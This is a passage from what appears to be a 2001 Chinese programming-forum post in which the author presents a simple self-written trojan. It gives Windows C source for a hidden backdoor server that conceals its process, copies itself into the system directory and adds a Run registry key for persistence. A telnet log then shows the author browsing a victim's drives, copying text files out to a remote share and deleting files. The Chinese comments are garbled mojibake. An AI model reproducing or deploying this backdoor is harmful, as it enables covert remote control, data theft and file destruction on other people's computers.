//¶ÁÈ¡ÊäÈ룬ÈçÊǻسµÔòÖ´ÐÐÃüÁî
//²»Êǽ«ÊäÈ븴ÖƵ½»º³åÇø
case FD_READ:
ZeroMemory(szCommand,dwComm);
recv(NewSock,szCommand,dwComm,0);
if(szCommand[0]==VK_RETURN)
{
wsprintf(szCommand,"\n\n\r%s",PROMPT);
send(NewSock,szCommand,dwComm,0);
ExeCommand(szExec,hWnd);
ZeroMemory(szExec,dwComm);
}
else
lstrcat(szExec,szCommand);
send(NewSock,szCommand,dwComm,0);
break;

case FD_CLOSE:
closesocket(wParam);
break;
}
break;

case WM_DESTROY:
HideProc(UNSERVICE_PROC);
PostQuitMessage(0);
break;

default:
return DefWindowProc(hWnd,message,wParam,lParam);

}
return 0;
}

//---------------------------------------------------------------------------

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int)
{
HWND hWnd;
MSG msg;
WNDCLASS wndc;
LPSTR szAppName="LANLAN";
HKEY hKey=0;
DWORD disp=0;
LONG lResult;
TCHAR szKey[MAX_PATH];
TCHAR szSysDir[MAX_PATH+25];
TCHAR szFileName[MAX_PATH];


wndc.style=0;
wndc.lpfnWndProc=WndProc;
wndc.cbClsExtra=0;
wndc.cbWndExtra=0;
wndc.hInstance=hInstance;
wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wndc.hCursor=LoadCursor(NULL,IDC_ARROW);
wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wndc.lpszMenuName=NULL;
wndc.lpszClassName=szAppName;
RegisterClass(&wndc);

hWnd=CreateWindow(szAppName,"LANLANServer",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);

ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
if(GetOS()==VER_PLATFORM_WIN32_WINDOWS)
{
HideProc(SERVICE_PROC);
}
InitSocket(hWnd);

//¸´ÖÆÎļþµ½ÏµÍ³Ä¿Â¼
//²¢¼ÓÔØ×¢²á±í,×Ô¶¯ÔËÐÐ

GetSystemDirectory(szSysDir,MAX_PATH);
lstrcat(szSysDir,RUN);
GetModuleFileName(NULL,szFileName,MAX_PATH);
CopyFile(szFileName,szSysDir,FALSE);

lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,szKey,0,NULL,REG_OPTION_VOLATILE,
KEY_ALL_ACCESS,NULL,&hKey,&disp);

if(lResult==ERROR_SUCCESS)
{
lResult=RegSetValueEx(hKey,"WinMon32",0,REG_SZ,szSysDir,lstrlen(szSysDir));
RegCloseKey(hKey);
}


while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return (msg.wParam);
}

ÏÂÃæÊÇ°³ÓÃTELNET¼Ç¼ÏµIJÙ×÷¹ý³Ì

LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
Outlook Express.lnk 509 READONLY
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE


LanLan:\>dir *.

LanLan:\>

WINDOWS 0 <DIR>
My Documents 0 <DIR>
ATI 0 <DIR>
ultisoft 0 <DIR>
yxl 0 <DIR>
hirc2 0 <DIR>
tempc 0 <DIR>
scwin133 0 <DIR>


LanLan:\>cd my documents

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

. 0 <DIR>
.. 0 <DIR>
ÖÒ¸æ.txt 798 ARCHIVE
mysp.sql 535 ARCHIVE
Á´½Ó 0 <DIR>
aaa.ppt 32768 ARCHIVE
Sock_temp 0 <DIR>


LanLan:\>gcpath

LanLan:\>CurrentDirect: c:\my documents


LanLan:\>dir d:\*.*

LanLan:\>

WIN98 0 <DIR>
VGA 0 <DIR>
oicq99c.exe 966029 ARCHIVE
METAL 0 <DIR>
V2Comm2_0_0sc.exe 793295 ARCHIVE
STONEAGE 0 <DIR>
SONGS 0 <DIR>
PROGRAMS 0 <DIR>
MSSQL7 0 <DIR>
mmssetup.exe 648032 ARCHIVE
JiaSYS 0 <DIR>
darkmatter.exe 7925536 READONLY
scwin133.zip 652510 ARCHIVE
cj_256 0 <DIR>
msrwin08.exe 1145666 READONLY
demonstr.exe 3806208 READONLY
game 0 <DIR>
msrwin08 0 <DIR>
e-card.exe 827941 ARCHIVE
hirc2-setup.exe 996803 ARCHIVE
whocq2src 0 <DIR>


LanLan:\>cd d:

LanLan:\>Change Directory OK

LanLan:\>dir *.

LanLan:\>

WIN98 0 <DIR>
VGA 0 <DIR>
METAL 0 <DIR>
STONEAGE 0 <DIR>
SONGS 0 <DIR>
PROGRAMS 0 <DIR>
MSSQL7 0 <DIR>
JiaSYS 0 <DIR>
cj_256 0 <DIR>
game 0 <DIR>
msrwin08 0 <DIR>
whocq2src 0 <DIR>


LanLan:\>cd jiasys

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

. 0 <DIR>
.. 0 <DIR>
MYHOOK 0 <DIR>
TC.res 876 ARCHIVE
TestClass.cpp 1288 ARCHIVE
TestClass.h 920 ARCHIVE
TestClass.dfm 449 ARCHIVE
TC.cpp 706 ARCHIVE
TC.bpr 4631 ARCHIVE
TC.~bp 4631 ARCHIVE
TC.obj 11933 ARCHIVE
SysClass.c 5795 ARCHIVE
TestClass.~h 861 ARCHIVE
TestClass.~df 449 ARCHIVE
TestClass.obj 50776 ARCHIVE
TC.tds 1835008 ARCHIVE
TC.exe 26624 ARCHIVE
NetTools.zip 214171 ARCHIVE
mylover.txt 2932 ARCHIVE
NetTools 0 <DIR>
TestClass.c 1286 ARCHIVE


LanLan:\>gcpath

LanLan:\>CurrentDirect: D:\jiasys


LanLan:\>cd c:

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
Outlook Express.lnk 509 READONLY
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE


LanLan:\>cd windows\desktop

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

. 0 <DIR>
.. 0 <DIR>
Outlook Express.lnk 493 READONLY
InterVideo WinDVD.lnk 442 ARCHIVE
ÌÚѶOicq.lnk 334 ARCHIVE
Ò»·ÖÇ®²»»¨.lnk 149 ARCHIVE
NetAnts.lnk 379 ARCHIVE
LANLAN 0 <DIR>
iishack2000.c 4820 ARCHIVE
RealPlayer G2.lnk 421 ARCHIVE
WINAMP.LNK 350 ARCHIVE
Microsoft Outlook.lnk 417 ARCHIVE
C++Builder 4.lnk 524 ARCHIVE
V2Communicator.lnk 402 ARCHIVE
Sqlsec.zip 281929 ARCHIVE
ÂÒÆß°ËÔã 0 <DIR>
Run DemonStar.lnk 359 ARCHIVE
SunNet HIRC2.lnk 305 ARCHIVE
class.txt 336 ARCHIVE
IPN1.0.exe 992721 ARCHIVE
GX.jpg 94542 ARCHIVE
1.log 0 ARCHIVE
process.zip 153477 ARCHIVE
process 0 <DIR>
ÉϺ£ÈÈÏß IPN.lnk 537 ARCHIVE
ʯÆ÷ʱ´ú.lnk 291 ARCHIVE


LanLan:\>dir *.txt

LanLan:\>

class.txt 336 ARCHIVE


LanLan:\>gcpath

LanLan:\>CurrentDirect: C:\windows\desktop

LanLan:\>copy *.txt \\211.99.161.132\c

LanLan:\>Copy File is OK

LanLan:\>dir

LanLan:\>

. 0 <DIR>
.. 0 <DIR>
Outlook Express.lnk 493 READONLY
InterVideo WinDVD.lnk 442 ARCHIVE
ÌÚѶOicq.lnk 334 ARCHIVE
Ò»·ÖÇ®²»»¨.lnk 149 ARCHIVE
NetAnts.lnk 379 ARCHIVE
LANLAN 0 <DIR>
iishack2000.c 4820 ARCHIVE
RealPlayer G2.lnk 421 ARCHIVE
WINAMP.LNK 350 ARCHIVE
Microsoft Outlook.lnk 417 ARCHIVE
C++Builder 4.lnk 524 ARCHIVE
V2Communicator.lnk 402 ARCHIVE
Sqlsec.zip 281929 ARCHIVE
ÂÒÆß°ËÔã 0 <DIR>
Run DemonStar.lnk 359 ARCHIVE
SunNet HIRC2.lnk 305 ARCHIVE
class.txt 336 ARCHIVE
IPN1.0.exe 992721 ARCHIVE
GX.jpg 94542 ARCHIVE
1.log 0 ARCHIVE
process.zip 153477 ARCHIVE
process 0 <DIR>
ÉϺ£ÈÈÏß IPN.lnk 537 ARCHIVE
ʯÆ÷ʱ´ú.lnk 291 ARCHIVE


LanLan:\>gcpath

LanLan:\>CurrentDirect: C:\windows\desktop


LanLan:\>cd ..

LanLan:\>Change Directory OK

LanLan:\>gcpath

LanLan:\>CurrentDirect: C:\windows


LanLan:\>cd ..

LanLan:\>Change Directory OK

LanLan:\>gcpath

LanLan:\>CurrentDirect: C:\


LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
Outlook Express.lnk 509 READONLY
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE


LanLan:\>dir *.lnk

LanLan:\>

Outlook Express.lnk 509 READONLY


LanLan:\>del *.lnk

LanLan:\>Delete File is OK

LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE


LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE


Can not find directory.


LanLan:\>cd d:

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

WIN98 0 <DIR>
VGA 0 <DIR>
oicq99c.exe 966029 ARCHIVE
METAL 0 <DIR>
V2Comm2_0_0sc.exe 793295 ARCHIVE
STONEAGE 0 <DIR>
SONGS 0 <DIR>
PROGRAMS 0 <DIR>
MSSQL7 0 <DIR>
mmssetup.exe 648032 ARCHIVE
JiaSYS 0 <DIR>
darkmatter.exe 7925536 READONLY
scwin133.zip 652510 ARCHIVE
cj_256 0 <DIR>
msrwin08.exe 1145666 READONLY
demonstr.exe 3806208 READONLY
game 0 <DIR>
msrwin08 0 <DIR>
e-card.exe 827941 ARCHIVE
hirc2-setup.exe 996803 ARCHIVE
whocq2src 0 <DIR>


LanLan:\>gcpath

LanLan:\>CurrentDirect: D:\


LanLan:\>dir *.

LanLan:\>

WIN98 0 <DIR>
VGA 0 <DIR>
METAL 0 <DIR>
STONEAGE 0 <DIR>
SONGS 0 <DIR>
PROGRAMS 0 <DIR>
MSSQL7 0 <DIR>
JiaSYS 0 <DIR>
cj_256 0 <DIR>
game 0 <DIR>
msrwin08 0 <DIR>
whocq2src 0 <DIR>


LanLan:\>cd metal

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

. 0 <DIR>
.. 0 <DIR>
don't_cry.rm 757491 READONLY
communication_breakdown.rm 397911 READONLY
crazy.rm 840305 READONLY
amazing.rm 950747 READONLY
dream_on.rm 707125 READONLY
fade_to_black.rm 1099788 READONLY
in_a_darkened_room.rm 624304 READONLY
master_of_puppets.rm 1364907 READONLY
More_Than_Words.rm 883834 READONLY
no_remorse.rm 1022536 READONLY
04 - Wind Of Change.mp3 7297644 READONLY
november_rain.rm 1425646 READONLY
To_Be_With_You.rm 574602 READONLY
08 - Nothing Else Matters.mp3 6205857 READONLY
03 - The House Jack Built.mp3 6366839 READONLY
04 - Welcome Home (Sanitarium).mp3 6177536 READONLY
05 - Another Brick In The Wall Part 2.mp3 3829411 READONLY
06 - Come Together.mp3 5813279 READONLY
02 - The Memory Remains.mp3 4455715 READONLY
06 - Outlaw Torn.mp3 9559804 READONLY



LanLan:\>copy \\211.99.161.132\d\metal\amazin*.* c:\windows\desktop

LanLan:\>Copy File is OK

LanLan:\>gcpath

LanLan:\>CurrentDirect: D:\metal


LanLan:\>cd c:

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE


LanLan:\>dir *.

LanLan:\>

WINDOWS 0 <DIR>
My Documents 0 <DIR>
ATI 0 <DIR>
ultisoft 0 <DIR>
yxl 0 <DIR>
hirc2 0 <DIR>
tempc 0 <DIR>
scwin133 0 <DIR>


LanLan:\>cd yxl

LanLan:\>Change Directory OK

LanLan:\>dir

LanLan:\>

. 0 <DIR>
.. 0 <DIR>
À×ÄñÕ½»ú 0 <DIR>


LanLan:\>cd \

LanLan:\>cd Drive\DirectoryChange Directory OK

LanLan:\>dir

LanLan:\>

FRUNLOG.TXT 1005 ARCHIVE
COMMAND.COM 94292 ARCHIVE
CONFIG.SYS 0 ARCHIVE
WINDOWS 0 <DIR>
NETLOG.TXT 9683 ARCHIVE
My Documents 0 <DIR>
ATI 0 <DIR>
autoexec.bat 129 ARCHIVE
ultisoft 0 <DIR>
MRTALK-SETUP.EXE 4521090 ARCHIVE
yxl 0 <DIR>
moon.exe 986228 ARCHIVE
hirc2 0 <DIR>
DON.txt 3431 ARCHIVE
ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
tempc 0 <DIR>
scwin133 0 <DIR>
´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
lanlandown.txt 624 ARCHIVE





Ïà¹ØÌû×Ó£º
ÐǼ¶£º0¼¶[ID:7221]°³Ð´µÄÒ»¸ö¼òµ¥Ä¾Âí [×÷Õß:²¡¶¾ ´óС:49185bytes] [ÈËÆø:38 »ØÓ¦:0](2001-05-20 19:16:04)
»Ø¸´´ËÌû×Ó£º
°æ Ã棺 ±à³ÌÀÖÔ° *Ϊ±ØÌîÏîÄ¿
ÐÕ Ãû£º * ÃÜÂ룺 * Íü¼ÇÃÜÂë°´ÕâÀï
Email£º »Ø¸´ÇëEmail֪ͨ(×¢ÒâÒªÌîдEmail)
Ö÷ Ì⣺ *

±í Ç飺

ÄÚ ÈÝ£¨×î¶à16KB£© ʹÓÃÇ©Ãû ÉèÖÃÇ©Ãû>>
Á´½ÓµØÖ·£º
Á´½Ó±êÌ⣺
Á´½ÓͼƬ£º
Ìû×Óת·¢£º
E-mail µØÖ·£º

本文地址:http://com.8s8s.com/it/it3555.htm